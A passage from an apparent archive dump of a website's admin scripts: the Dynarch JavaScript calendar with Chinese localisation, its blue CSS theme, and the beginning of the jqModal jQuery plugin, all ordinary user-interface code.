mn.className = Calendar.is_ie ? "label-IEfix" : "label"; mn.month = i; mn.innerHTML = Calendar._SMN[i]; div.appendChild(mn); }div = Calendar.createElement("div", this.element); this.yearsCombo = div; div.className = "combo"; for (i = 12; i > 0; --i) { var yr = Calendar.createElement("div"); yr.className = Calendar.is_ie ? "label-IEfix" : "label"; div.appendChild(yr); }this._init(this.firstDayOfWeek, this.date); parent.appendChild(this.element); }; Calendar._keyEvent = function(ev) { var cal = window._dynarch_popupCalendar; if (!cal || cal.multiple) return false; (Calendar.is_ie) && (ev = window.event); var act = (Calendar.is_ie || ev.type == "keypress"), K = ev.keyCode; if (ev.ctrlKey) { switch (K) { case 37: act && Calendar.cellClick(cal._nav_pm); break; case 38: act && Calendar.cellClick(cal._nav_py); break; case 39: act && Calendar.cellClick(cal._nav_nm); break; case 40: act && Calendar.cellClick(cal._nav_ny); break; default: return false; } } else switch (K) { case 32: Calendar.cellClick(cal._nav_now); break; case 27: act && cal.callCloseHandler(); break; case 37: case 38: case 39: case 40: if (act) { var prev, x, y, ne, el, step; prev = K == 37 || K == 38; step = (K == 37 || K == 39) ? 1 : 7; function setVars() { el = cal.currentDateEl; var p = el.pos; x = p & 15; y = p >> 4; ne = cal.ar_days[y][x]; };setVars(); function prevMonth() { var date = new Date(cal.date); date.setDate(date.getDate() - step); cal.setDate(date); }; function nextMonth() { var date = new Date(cal.date); date.setDate(date.getDate() + step); cal.setDate(date); }; while (1) { switch (K) { case 37: if (--x >= 0) ne = cal.ar_days[y][x]; else { x = 6; K = 38; continue; } break; case 38: if (--y >= 0) ne = cal.ar_days[y][x]; else { prevMonth(); setVars(); } break; case 39: if (++x < 7) ne = cal.ar_days[y][x]; else { x = 0; K = 40; continue; } break; case 40: if (++y < cal.ar_days.length) ne = cal.ar_days[y][x]; else { nextMonth(); setVars(); } break; } break; } if (ne) { if (!ne.disabled) Calendar.cellClick(ne); else if (prev) prevMonth(); else nextMonth(); } } break; case 13: if (act) Calendar.cellClick(cal.currentDateEl, ev); break; default: return false; } return Calendar.stopEvent(ev); }; Calendar.prototype._init = function (firstDayOfWeek, date) { var today = new Date(), TY = today.getFullYear(), TM = today.getMonth(), TD = today.getDate(); this.table.style.visibility = "hidden"; var year = date.getFullYear(); if (year < this.minYear) { year = this.minYear; date.setFullYear(year); } else if (year > this.maxYear) { year = this.maxYear; date.setFullYear(year); } this.firstDayOfWeek = firstDayOfWeek; this.date = new Date(date); var month = date.getMonth(); var mday = date.getDate(); var no_days = date.getMonthDays(); date.setDate(1); var day1 = (date.getDay() - this.firstDayOfWeek) % 7; if (day1 < 0) day1 += 7; date.setDate(-day1); date.setDate(date.getDate() + 1);var row = this.tbody.firstChild; var MN = Calendar._SMN[month]; var ar_days = this.ar_days = new Array(); var weekend = Calendar._TT["WEEKEND"]; var dates = this.multiple ? (this.datesCells = {}) : null; for (var i = 0; i < 6; ++i, row = row.nextSibling) { var cell = row.firstChild; if (this.weekNumbers) { cell.className = "day wn"; cell.innerHTML = date.getWeekNumber(); cell = cell.nextSibling; } row.className = "daysrow"; var hasdays = false, iday, dpos = ar_days[i] = []; for (var j = 0; j < 7; ++j, cell = cell.nextSibling, date.setDate(iday + 1)) { iday = date.getDate(); var wday = date.getDay(); cell.className = "day"; cell.pos = i << 4 | j; dpos[j] = cell; var current_month = (date.getMonth() == month); if (!current_month) { if (this.showsOtherMonths) { cell.className += " othermonth"; cell.otherMonth = true; } else { cell.className = "emptycell"; cell.innerHTML = " "; cell.disabled = true; continue; } } else { cell.otherMonth = false; hasdays = true; } cell.disabled = false; cell.innerHTML = this.getDateText ? this.getDateText(date, iday) : iday; if (dates) dates[date.print("%Y%m%d")] = cell; if (this.getDateStatus) { var status = this.getDateStatus(date, year, month, iday); if (this.getDateToolTip) { var toolTip = this.getDateToolTip(date, year, month, iday); if (toolTip) cell.title = toolTip; } if (status === true) { cell.className += " disabled"; cell.disabled = true; } else { if (/disabled/i.test(status)) cell.disabled = true; cell.className += " " + status; } } if (!cell.disabled) { cell.caldate = new Date(date); cell.ttip = "_"; if (!this.multiple && current_month && iday == mday && this.hiliteToday) { cell.className += " selected"; this.currentDateEl = cell; } if (date.getFullYear() == TY && date.getMonth() == TM && iday == TD) { cell.className += " today"; cell.ttip += Calendar._TT["PART_TODAY"]; } if (weekend.indexOf(wday.toString()) != -1) cell.className += cell.otherMonth ? " oweekend" : " weekend"; } } if (!(hasdays || this.showsOtherMonths)) row.className = "emptyrow"; } this.title.innerHTML = Calendar._MN[month] + ", " + year; this.onSetTime(); this.table.style.visibility = "visible"; this._initMultipleDates(); };Calendar.prototype._initMultipleDates = function() { if (this.multiple) { for (var i in this.multiple) { var cell = this.datesCells[i]; var d = this.multiple[i]; if (!d) continue; if (cell) cell.className += " selected"; } } };Calendar.prototype._toggleMultipleDate = function(date) { if (this.multiple) { var ds = date.print("%Y%m%d"); var cell = this.datesCells[ds]; if (cell) { var d = this.multiple[ds]; if (!d) { Calendar.addClass(cell, "selected"); this.multiple[ds] = date; } else { Calendar.removeClass(cell, "selected"); delete this.multiple[ds]; } } } };Calendar.prototype.setDateToolTipHandler = function (unaryFunction) { this.getDateToolTip = unaryFunction; }; Calendar.prototype.setDate = function (date) { if (!date.equalsTo(this.date)) { this._init(this.firstDayOfWeek, date); } }; Calendar.prototype.refresh = function () { this._init(this.firstDayOfWeek, this.date); }; Calendar.prototype.setFirstDayOfWeek = function (firstDayOfWeek) { this._init(firstDayOfWeek, this.date); this._displayWeekdays(); }; Calendar.prototype.setDateStatusHandler = Calendar.prototype.setDisabledHandler = function (unaryFunction) { this.getDateStatus = unaryFunction; }; Calendar.prototype.setRange = function (a, z) { this.minYear = a; this.maxYear = z; }; Calendar.prototype.callHandler = function () { if (this.onSelected) { this.onSelected(this, this.date.print(this.dateFormat)); } }; Calendar.prototype.callCloseHandler = function () { if (this.onClose) { this.onClose(this); } this.hideShowCovered(); }; Calendar.prototype.destroy = function () { var el = this.element.parentNode; el.removeChild(this.element); Calendar._C = null; window._dynarch_popupCalendar = null; }; Calendar.prototype.reparent = function (new_parent) { var el = this.element; el.parentNode.removeChild(el); new_parent.appendChild(el); }; Calendar._checkCalendar = function(ev) { var calendar = window._dynarch_popupCalendar; if (!calendar) { return false; } var el = Calendar.is_ie ? Calendar.getElement(ev) : Calendar.getTargetElement(ev); for (; el != null && el != calendar.element; el = el.parentNode); if (el == null) {window._dynarch_popupCalendar.callCloseHandler(); return Calendar.stopEvent(ev); } }; Calendar.prototype.show = function () { var rows = this.table.getElementsByTagName("tr"); for (var i = rows.length; i > 0;) { var row = rows[--i]; Calendar.removeClass(row, "rowhilite"); var cells = row.getElementsByTagName("td"); for (var j = cells.length; j > 0;) { var cell = cells[--j]; Calendar.removeClass(cell, "hilite"); Calendar.removeClass(cell, "active"); } } this.element.style.display = "block"; this.hidden = false; if (this.isPopup) { window._dynarch_popupCalendar = this; Calendar.addEvent(document, "keydown", Calendar._keyEvent); Calendar.addEvent(document, "keypress", Calendar._keyEvent); Calendar.addEvent(document, "mousedown", Calendar._checkCalendar); } this.hideShowCovered(); }; Calendar.prototype.hide = function () { if (this.isPopup) { Calendar.removeEvent(document, "keydown", Calendar._keyEvent); Calendar.removeEvent(document, "keypress", Calendar._keyEvent); Calendar.removeEvent(document, "mousedown", Calendar._checkCalendar); } this.element.style.display = "none"; this.hidden = true; this.hideShowCovered(); };Calendar.prototype.showAt = function (x, y) { var s = this.element.style; s.left = x + "px"; s.top = y + "px"; this.show(); }; Calendar.prototype.showAtElement = function (el, opts) { var self = this; var p = Calendar.getAbsolutePos(el); if (!opts || typeof opts != "string") { this.showAt(p.x, p.y + el.offsetHeight); return true; } function fixPosition(box) { if (box.x < 0) box.x = 0; if (box.y < 0) box.y = 0; var cp = document.createElement("div"); var s = cp.style; s.position = "absolute"; s.right = s.bottom = s.width = s.height = "0px"; document.body.appendChild(cp); var br = Calendar.getAbsolutePos(cp); document.body.removeChild(cp); if (Calendar.is_ie) { br.y += document.body.scrollTop; br.x += document.body.scrollLeft; } else { br.y += window.scrollY; br.x += window.scrollX; } var tmp = box.x + box.width - br.x; if (tmp > 0) box.x -= tmp; tmp = box.y + box.height - br.y; if (tmp > 0) box.y -= tmp; }; this.element.style.display = "block"; Calendar.continuation_for_the_fucking_khtml_browser = function() { var w = self.element.offsetWidth; var h = self.element.offsetHeight; self.element.style.display = "none"; var valign = opts.substr(0, 1); var halign = "l"; if (opts.length > 1) { halign = opts.substr(1, 1); }switch (valign) { case "T": p.y -= h; break; case "B": p.y += el.offsetHeight; break; case "C": p.y += (el.offsetHeight - h) / 2; break; case "t": p.y += el.offsetHeight - h; break; case "b": break; }switch (halign) { case "L": p.x -= w; break; case "R": p.x += el.offsetWidth; break; case "C": p.x += (el.offsetWidth - w) / 2; break; case "l": p.x += el.offsetWidth - w; break; case "r": break; } p.width = w; p.height = h + 40; self.monthsCombo.style.display = "none"; fixPosition(p); self.showAt(p.x, p.y); }; if (Calendar.is_khtml) setTimeout("Calendar.continuation_for_the_fucking_khtml_browser()", 10); else Calendar.continuation_for_the_fucking_khtml_browser(); }; Calendar.prototype.setDateFormat = function (str) { this.dateFormat = str; }; Calendar.prototype.setTtDateFormat = function (str) { this.ttDateFormat = str; }; Calendar.prototype.parseDate = function(str, fmt) { if (!fmt) fmt = this.dateFormat; this.setDate(Date.parseDate(str, fmt)); }; Calendar.prototype.hideShowCovered = function () { if (!Calendar.is_ie && !Calendar.is_opera) return; function getVisib(obj){ var value = obj.style.visibility; if (!value) { if (document.defaultView && typeof (document.defaultView.getComputedStyle) == "function") { if (!Calendar.is_khtml) value = document.defaultView. getComputedStyle(obj, "").getPropertyValue("visibility"); else value = ''; } else if (obj.currentStyle) { value = obj.currentStyle.visibility; } else value = ''; } return value; };var tags = new Array("applet", "iframe", "select"); var el = this.element;var p = Calendar.getAbsolutePos(el); var EX1 = p.x; var EX2 = el.offsetWidth + EX1; var EY1 = p.y; var EY2 = el.offsetHeight + EY1;for (var k = tags.length; k > 0; ) { var ar = document.getElementsByTagName(tags[--k]); var cc = null;for (var i = ar.length; i > 0;) { cc = ar[--i];p = Calendar.getAbsolutePos(cc); var CX1 = p.x; var CX2 = cc.offsetWidth + CX1; var CY1 = p.y; var CY2 = cc.offsetHeight + CY1;if (this.hidden || (CX1 > EX2) || (CX2 < EX1) || (CY1 > EY2) || (CY2 < EY1)) { if (!cc.__msh_save_visibility) { cc.__msh_save_visibility = getVisib(cc); } cc.style.visibility = cc.__msh_save_visibility; } else { if (!cc.__msh_save_visibility) { cc.__msh_save_visibility = getVisib(cc); } cc.style.visibility = "hidden"; } } } }; Calendar.prototype._displayWeekdays = function () { var fdow = this.firstDayOfWeek; var cell = this.firstdayname; var weekend = Calendar._TT["WEEKEND"]; for (var i = 0; i < 7; ++i) { cell.className = "day name"; var realday = (i + fdow) % 7; if (i) { cell.ttip = Calendar._TT["DAY_FIRST"].replace("%s", Calendar._DN[realday]); cell.navtype = 100; cell.calendar = this; cell.fdow = realday; Calendar._add_evs(cell); } if (weekend.indexOf(realday.toString()) != -1) { Calendar.addClass(cell, "weekend"); } cell.innerHTML = Calendar._SDN[(i + fdow) % 7]; cell = cell.nextSibling; } }; Calendar.prototype._hideCombos = function () { this.monthsCombo.style.display = "none"; this.yearsCombo.style.display = "none"; }; Calendar.prototype._dragStart = function (ev) { if (this.dragging) { return; } this.dragging = true; var posX; var posY; if (Calendar.is_ie) { posY = window.event.clientY + document.body.scrollTop; posX = window.event.clientX + document.body.scrollLeft; } else { posY = ev.clientY + window.scrollY; posX = ev.clientX + window.scrollX; } var st = this.element.style; this.xOffs = posX - parseInt(st.left); this.yOffs = posY - parseInt(st.top); with (Calendar) { addEvent(document, "mousemove", calDragIt); addEvent(document, "mouseup", calDragEnd); } }; Date._MD = new Array(31,28,31,30,31,30,31,31,30,31,30,31); Date.SECOND = 1000 /* milliseconds */; Date.MINUTE = 60 * Date.SECOND; Date.HOUR = 60 * Date.MINUTE; Date.DAY = 24 * Date.HOUR; Date.WEEK = 7 * Date.DAY;Date.parseDate = function(str, fmt) { var today = new Date(); var y = 0; var m = -1; var d = 0; var a = str.split(/\W+/); var b = fmt.match(/%./g); var i = 0, j = 0; var hr = 0; var min = 0; for (i = 0; i < a.length; ++i) { if (!a[i]) continue; switch (b[i]) { case "%d": case "%e": d = parseInt(a[i], 10); break; case "%m": m = parseInt(a[i], 10) - 1; break; case "%Y": case "%y": y = parseInt(a[i], 10); (y < 100) && (y += (y > 29) ? 1900 : 2000); break; case "%b": case "%B": for (j = 0; j < 12; ++j) { if (Calendar._MN[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { m = j; break; } } break; case "%H": case "%I": case "%k": case "%l": hr = parseInt(a[i], 10); break; case "%P": case "%p": if (/pm/i.test(a[i]) && hr < 12) hr += 12; else if (/am/i.test(a[i]) && hr >= 12) hr -= 12; break; case "%M": min = parseInt(a[i], 10); break; } } if (isNaN(y)) y = today.getFullYear(); if (isNaN(m)) m = today.getMonth(); if (isNaN(d)) d = today.getDate(); if (isNaN(hr)) hr = today.getHours(); if (isNaN(min)) min = today.getMinutes(); if (y != 0 && m != -1 && d != 0) return new Date(y, m, d, hr, min, 0); y = 0; m = -1; d = 0; for (i = 0; i < a.length; ++i) { if (a[i].search(/[a-zA-Z]+/) != -1) { var t = -1; for (j = 0; j < 12; ++j) { if (Calendar._MN[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { t = j; break; } } if (t != -1) { if (m != -1) { d = m+1; } m = t; } } else if (parseInt(a[i], 10) <= 12 && m == -1) { m = a[i]-1; } else if (parseInt(a[i], 10) > 31 && y == 0) { y = parseInt(a[i], 10); (y < 100) && (y += (y > 29) ? 1900 : 2000); } else if (d == 0) { d = a[i]; } } if (y == 0) y = today.getFullYear(); if (m != -1 && d != 0) return new Date(y, m, d, hr, min, 0); return today; }; Date.prototype.getMonthDays = function(month) { var year = this.getFullYear(); if (typeof month == "undefined") { month = this.getMonth(); } if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) { return 29; } else { return Date._MD[month]; } }; Date.prototype.getDayOfYear = function() { var now = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0); var then = new Date(this.getFullYear(), 0, 0, 0, 0, 0); var time = now - then; return Math.floor(time / Date.DAY); }; Date.prototype.getWeekNumber = function() { var d = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0); var DoW = d.getDay(); d.setDate(d.getDate() - (DoW + 6) % 7 + 3); var ms = d.valueOf(); d.setMonth(0); d.setDate(4); return Math.round((ms - d.valueOf()) / (7 * 864e5)) + 1; }; Date.prototype.equalsTo = function(date) { return ((this.getFullYear() == date.getFullYear()) && (this.getMonth() == date.getMonth()) && (this.getDate() == date.getDate()) && (this.getHours() == date.getHours()) && (this.getMinutes() == date.getMinutes())); }; Date.prototype.setDateOnly = function(date) { var tmp = new Date(date); this.setDate(1); this.setFullYear(tmp.getFullYear()); this.setMonth(tmp.getMonth()); this.setDate(tmp.getDate()); }; Date.prototype.print = function (str) { var m = this.getMonth(); var d = this.getDate(); var y = this.getFullYear(); var wn = this.getWeekNumber(); var w = this.getDay(); var s = {}; var hr = this.getHours(); var pm = (hr >= 12); var ir = (pm) ? (hr - 12) : hr; var dy = this.getDayOfYear(); if (ir == 0) ir = 12; var min = this.getMinutes(); var sec = this.getSeconds(); s["%a"] = Calendar._SDN[w];s["%A"] = Calendar._DN[w];s["%b"] = Calendar._SMN[m];s["%B"] = Calendar._MN[m]; s["%C"] = 1 + Math.floor(y / 100);s["%d"] = (d < 10) ? ("0" + d) : d;s["%e"] = d;s["%H"] = (hr < 10) ? ("0" + hr) : hr;s["%I"] = (ir < 10) ? ("0" + ir) : ir;s["%j"] = (dy < 100) ? ((dy < 10) ? ("00" + dy) : ("0" + dy)) : dy;s["%k"] = hr; s["%l"] = ir; s["%m"] = (m < 9) ? ("0" + (1+m)) : (1+m);s["%M"] = (min < 10) ? ("0" + min) : min;s["%n"] = "\n"; s["%p"] = pm ? "PM" : "AM"; s["%P"] = pm ? "pm" : "am"; s["%s"] = Math.floor(this.getTime() / 1000); s["%S"] = (sec < 10) ? ("0" + sec) : sec;s["%t"] = "\t";s["%U"] = s["%W"] = s["%V"] = (wn < 10) ? ("0" + wn) : wn; s["%u"] = w + 1; s["%w"] = w; s["%y"] = ('' + y).substr(2, 2);s["%Y"] = y; s["%%"] = "%"; var re = /%./g; if (!Calendar.is_ie5 && !Calendar.is_khtml) return str.replace(re, function (par) { return s[par] || par; });var a = str.match(re); for (var i = 0; i < a.length; i++) { var tmp = s[a[i]]; if (tmp) { re = new RegExp(a[i], 'g'); str = str.replace(re, tmp); } }return str; };Date.prototype.__msh_oldSetFullYear = Date.prototype.setFullYear; Date.prototype.setFullYear = function(y) { var d = new Date(this); d.__msh_oldSetFullYear(y); if (d.getMonth() != this.getMonth()) this.setDate(28); this.__msh_oldSetFullYear(y); };window._dynarch_popupCalendar = null; Calendar._DN = new Array ("星期日","星期一","星期二","星期三","星期四","星期五","星期六","星期日"); Calendar._SDN = new Array ("日","一","二","三","四","五","六","日"); Calendar._FD = 0; Calendar._MN = new Array ("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"); Calendar._SMN = new Array ("一月","二月","三月","四月","五月","六月","七月","八月","九月","十月","十一月","十二月"); Calendar._TT = {}; Calendar._TT["INFO"] = "帮助"; Calendar._TT["ABOUT"] = "选择日期:\n" + "- 点击 \xab, \xbb 按钮选择年份\n" + "- 点击 " + String.fromCharCode(0x2039) + ", " + String.fromCharCode(0x203a) + " 按钮选择月份\n" + "- 长按以上按钮可从菜单中快速选择年份或月份"; Calendar._TT["ABOUT_TIME"] = "\n\n" + "选择时间:\n" + "- 点击小时或分钟可使改数值加一\n" + "- 按住Shift键点击小时或分钟可使改数值减一\n" + "- 点击拖动鼠标可进行快速选择"; Calendar._TT["PREV_YEAR"] = "上一年 (按住出菜单)"; Calendar._TT["PREV_MONTH"] = "上一月 (按住出菜单)"; Calendar._TT["GO_TODAY"] = "转到今日"; Calendar._TT["NEXT_MONTH"] = "下一月 (按住出菜单)"; Calendar._TT["NEXT_YEAR"] = "下一年 (按住出菜单)"; Calendar._TT["SEL_DATE"] = "选择日期"; Calendar._TT["DRAG_TO_MOVE"] = "拖动"; Calendar._TT["PART_TODAY"] = " (今日)"; Calendar._TT["DAY_FIRST"] = "最左边显示%s"; Calendar._TT["WEEKEND"] = "0,6"; Calendar._TT["CLOSE"] = "关闭"; Calendar._TT["TODAY"] = "今日"; Calendar._TT["TIME_PART"] = "(Shift-)点击鼠标或拖动改变值"; Calendar._TT["DEF_DATE_FORMAT"] = "%Y-%m-%d"; Calendar._TT["TT_DATE_FORMAT"] = "%A, %b %e日"; Calendar._TT["WK"] = "周"; Calendar._TT["TIME"] = "时间:"; Calendar.setup = function (params) { function param_default(pname, def) { if (typeof params[pname] == "undefined") { params[pname] = def; } }; param_default("inputField", null); param_default("displayArea", null); param_default("button", null); param_default("eventName", "click"); param_default("ifFormat", "%Y/%m/%d"); param_default("daFormat", "%Y/%m/%d"); param_default("singleClick", true); param_default("disableFunc", null); param_default("dateStatusFunc", params["disableFunc"]); // takes precedence if both are defined param_default("dateText", null); param_default("firstDay", null); param_default("align", "Br"); param_default("range", [1900, 2999]); param_default("weekNumbers", true); param_default("flat", null); param_default("flatCallback", null); param_default("onSelect", null); param_default("onClose", null); param_default("onUpdate", null); param_default("date", null); param_default("showsTime", false); param_default("timeFormat", "24"); param_default("electric", true); param_default("step", 2); param_default("position", null); param_default("cache", false); param_default("showOthers", false); param_default("multiple", null); var tmp = ["inputField", "displayArea", "button"]; for (var i in tmp) { if (typeof params[tmp[i]] == "string") { params[tmp[i]] = document.getElementById(params[tmp[i]]); } } if (!(params.flat || params.multiple || params.inputField || params.displayArea || params.button)) { alert("Calendar.setup:\n Nothing to setup (no fields found). Please check your code"); return false; } function onSelect(cal) { var p = cal.params; var update = (cal.dateClicked || p.electric); if (update && p.inputField) { p.inputField.value = cal.date.print(p.ifFormat); if (typeof p.inputField.onchange == "function") p.inputField.onchange(); } if (update && p.displayArea) p.displayArea.innerHTML = cal.date.print(p.daFormat); if (update && typeof p.onUpdate == "function") p.onUpdate(cal); if (update && p.flat) { if (typeof p.flatCallback == "function") p.flatCallback(cal); } if (update && p.singleClick && cal.dateClicked) cal.callCloseHandler(); }; if (params.flat != null) { if (typeof params.flat == "string") params.flat = document.getElementById(params.flat); if (!params.flat) { alert("Calendar.setup:\n Flat specified but can't find parent."); return false; } var cal = new Calendar(params.firstDay, params.date, params.onSelect || onSelect); cal.showsOtherMonths = params.showOthers; cal.showsTime = params.showsTime; cal.time24 = (params.timeFormat == "24"); cal.params = params; cal.weekNumbers = params.weekNumbers; cal.setRange(params.range[0], params.range[1]); cal.setDateStatusHandler(params.dateStatusFunc); cal.getDateText = params.dateText; if (params.ifFormat) { cal.setDateFormat(params.ifFormat); } if (params.inputField && typeof params.inputField.value == "string") { cal.parseDate(params.inputField.value); } cal.create(params.flat); cal.show(); return false; } var triggerEl = params.button || params.displayArea || params.inputField; triggerEl["on" + params.eventName] = function() { var dateEl = params.inputField || params.displayArea; var dateFmt = params.inputField ? params.ifFormat : params.daFormat; var mustCreate = false; var cal = window.calendar; if (dateEl) params.date = Date.parseDate(dateEl.value || dateEl.innerHTML, dateFmt); if (!(cal && params.cache)) { window.calendar = cal = new Calendar(params.firstDay, params.date, params.onSelect || onSelect, params.onClose || function(cal) { cal.hide(); }); cal.showsTime = params.showsTime; cal.time24 = (params.timeFormat == "24"); cal.weekNumbers = params.weekNumbers; mustCreate = true; } else { if (params.date) cal.setDate(params.date); cal.hide(); } if (params.multiple) { cal.multiple = {}; for (var i = params.multiple.length; --i >= 0;) { var d = params.multiple[i]; var ds = d.print("%Y%m%d"); cal.multiple[ds] = d; } } cal.showsOtherMonths = params.showOthers; cal.yearStep = params.step; cal.setRange(params.range[0], params.range[1]); cal.params = params; cal.setDateStatusHandler(params.dateStatusFunc); cal.getDateText = params.dateText; cal.setDateFormat(dateFmt); if (mustCreate) cal.create(); cal.refresh(); if (!params.position) cal.showAtElement(params.button || params.displayArea || params.inputField, params.align); else cal.showAt(params.position[0], params.position[1]); return false; }; return cal; };cheapuggsales.uk.com/admin_frad/js/calendar/calendar-blue.css0000777000000000000000000001164611633550314023263 0ustar rootroot/* The main calendar widget. DIV containing a table. */ div.calendar { position: relative; } .calendar, .calendar table { border: 1px solid #206A9B; font-size: 11px; color: #000; cursor: default; background: #F1F8FC; font-family: tahoma,verdana,sans-serif; } /* Header part -- contains navigation buttons and day names. */ .calendar .button { /* "<<", "<", ">", ">>" buttons have this class */ text-align: center; /* They are the navigation buttons */ padding: 2px; /* Make the buttons seem like they're pressing */ } .calendar .nav { background: #007ED1 url(menuarrow2.gif) no-repeat 100% 100%; } .calendar thead .title { /* This holds the current "month, year" */ font-weight: bold; /* Pressing it will take you to the current date */ text-align: center; background: #000; color: #fff; padding: 2px; } .calendar thead tr { /* Row containing navigation buttons */ background: #007ED1; color: #fff; } .calendar thead .daynames { /* Row containing the day names */ background: #C7E1F3; } .calendar thead .name { /* Cells containing the day names */ border-bottom: 1px solid #206A9B; padding: 2px; text-align: center; color: #000; } .calendar thead .weekend { /* How a weekend day name shows in header */ color: #a66; } .calendar thead .hilite { /* How do the buttons in header appear when hover */ background-color: #34ABFA; color: #000; border: 1px solid #016DC5; padding: 1px; } .calendar thead .active { /* Active (pressed) buttons in header */ background-color: #006AA9; border: 1px solid #008AFF; padding: 2px 0px 0px 2px; } /* The body part -- contains all the days in month. */ .calendar tbody .day { /* Cells containing month days dates */ width: 2em; color: #456; text-align: right; padding: 2px 4px 2px 2px; } .calendar tbody .day.othermonth { font-size: 80%; color: #bbb; } .calendar tbody .day.othermonth.oweekend { color: #fbb; } .calendar table .wn { padding: 2px 3px 2px 2px; border-right: 1px solid #000; background: #C7E1F3; } .calendar tbody .rowhilite td { background: #def; } .calendar tbody .rowhilite td.wn { background: #F1F8FC; } .calendar tbody td.hilite { /* Hovered cells */ background: #def; padding: 1px 3px 1px 1px; border: 1px solid #8FC4E8; } .calendar tbody td.active { /* Active (pressed) cells */ background: #cde; padding: 2px 2px 0px 2px; } .calendar tbody td.selected { /* Cell showing today date */ font-weight: bold; border: 1px solid #000; padding: 1px 3px 1px 1px; background: #fff; color: #000; } .calendar tbody td.weekend { /* Cells showing weekend days */ color: #a66; } .calendar tbody td.today { /* Cell showing selected date */ font-weight: bold; color: #D50000; } .calendar tbody .disabled { color: #999; } .calendar tbody .emptycell { /* Empty cells (the best is to hide them) */ visibility: hidden; } .calendar tbody .emptyrow { /* Empty row (some months need less than 6 rows) */ display: none; } /* The footer part -- status bar and "Close" button */ .calendar tfoot .footrow { /* The in footer (only one right now) */ text-align: center; background: #206A9B; color: #fff; } .calendar tfoot .ttip { /* Tooltip (status bar) cell */ background: #000; color: #fff; border-top: 1px solid #206A9B; padding: 1px; } .calendar tfoot .hilite { /* Hover style for buttons in footer */ background: #B8DAF0; border: 1px solid #178AEB; color: #000; padding: 1px; } .calendar tfoot .active { /* Active (pressed) style for buttons in footer */ background: #006AA9; padding: 2px 0px 0px 2px; } /* Combo boxes (menus that display months/years for direct selection) */ .calendar .combo { position: absolute; display: none; top: 0px; left: 0px; width: 4em; cursor: default; border: 1px solid #655; background: #def; color: #000; font-size: 90%; z-index: 9999999999999999999999999999; } .calendar .combo .label, .calendar .combo .label-IEfix { text-align: center; padding: 1px; } .calendar .combo .label-IEfix { width: 4em; } .calendar .combo .hilite { background: #34ABFA; border-top: 1px solid #46a; border-bottom: 1px solid #46a; font-weight: bold; } .calendar .combo .active { border-top: 1px solid #46a; border-bottom: 1px solid #46a; background: #F1F8FC; font-weight: bold; } .calendar td.time { border-top: 1px solid #000; padding: 1px 0px; text-align: center; background-color: #E3F0F9; } .calendar td.time .hour, .calendar td.time .minute, .calendar td.time .ampm { padding: 0px 3px 0px 4px; border: 1px solid #889; font-weight: bold; background-color: #F1F8FC; } .calendar td.time .ampm { text-align: center; } .calendar td.time .colon { padding: 0px 2px 0px 3px; font-weight: bold; } .calendar td.time span.hilite { border-color: #000; background-color: #267DB7; color: #fff; } .calendar td.time span.active { border-color: red; background-color: #000; color: #A5FF00; }cheapuggsales.uk.com/admin_frad/js/jqModal.js0000777000000000000000000000636711633550314020233 0ustar rootroot/* * jqModal - Minimalist Modaling with jQuery * (http://dev.iceburg.net/jquery/jqmodal/) * * Copyright (c) 2007,2008 Brice Burgess * Dual licensed under the MIT and GPL licenses: * http://www.opensource.org/licenses/mit-license.php * http://www.gnu.org/licenses/gpl.html * * $Version: 07/06/2008 +r13 */ (function($) { $.fn.jqm=function(o){ var p={ overlay: 50, overlayClass: 'jqmOverlay', closeClass: 'jqmClose', trigger: '.jqModal', ajax: F, ajaxText: '', target: F, modal: F, toTop: F, onShow: F, onHide: F, onLoad: F }; return this.each(function(){if(this._jqm)return H[this._jqm].c=$.extend({},H[this._jqm].c,o);s++;this._jqm=s; H[s]={c:$.extend(p,$.jqm.params,o),a:F,w:$(this).addClass('jqmID'+s),s:s}; if(p.trigger)$(this).jqmAddTrigger(p.trigger); });}; $.fn.jqmAddClose=function(e){return hs(this,e,'jqmHide');}; $.fn.jqmAddTrigger=function(e){return hs(this,e,'jqmShow');}; $.fn.jqmShow=function(t){return this.each(function(){$.jqm.open(this._jqm,t);});}; $.fn.jqmHide=function(t){return this.each(function(){$.jqm.close(this._jqm,t)});}; $.jqm = { hash:{}, open:function(s,t){var h=H[s],c=h.c,cc='.'+c.closeClass,z=(parseInt(h.w.css('z-index'))),z=(z>0)?z:3000,o=$('
').css({height:'100%',width:'100%',position:'fixed',left:0,top:0,'z-index':z-1,opacity:c.overlay/100});if(h.a)return F;h.t=t;h.a=true;h.w.css('z-index',z); if(c.modal) {if(!A[0])L('bind');A.push(s);} else if(c.overlay > 0)h.w.jqmAddClose(o); else o=F; h.o=(o)?o.addClass(c.overlayClass).prependTo('body'):F; if(ie6){$('html,body').css({height:'100%',width:'100%'});if(o){o=o.css({position:'absolute'})[0];for(var y in {Top:1,Left:1})o.style.setExpression(y.toLowerCase(),"(_=(document.documentElement.scroll"+y+" || document.body.scroll"+y+"))+'px'");}} if(c.ajax) {var r=c.target||h.w,u=c.ajax,r=(typeof r == 'string')?$(r,h.w):$(r),u=(u.substr(0,1) == '@')?$(t).attr(u.substring(1)):u; r.html(c.ajaxText).load(u,function(){if(c.onLoad)c.onLoad.call(this,h);if(cc)h.w.jqmAddClose($(cc,h.w));e(h);});} else if(cc)h.w.jqmAddClose($(cc,h.w)); if(c.toTop&&h.o)h.w.before('').insertAfter(h.o); (c.onShow)?c.onShow(h):h.w.show();e(h);return F; }, close:function(s){var h=H[s];if(!h.a)return F;h.a=F; if(A[0]){A.pop();if(!A[0])L('unbind');} if(h.c.toTop&&h.o)$('#jqmP'+h.w[0]._jqm).after(h.w).remove(); if(h.c.onHide)h.c.onHide(h);else{h.w.hide();if(h.o)h.o.remove();} return F; }, params:{}}; var s=0,H=$.jqm.hash,A=[],ie6=$.browser.msie&&($.browser.version == "6.0"),F=false, i=$('').css({opacity:0}), e=function(h){if(ie6)if(h.o)h.o.html('

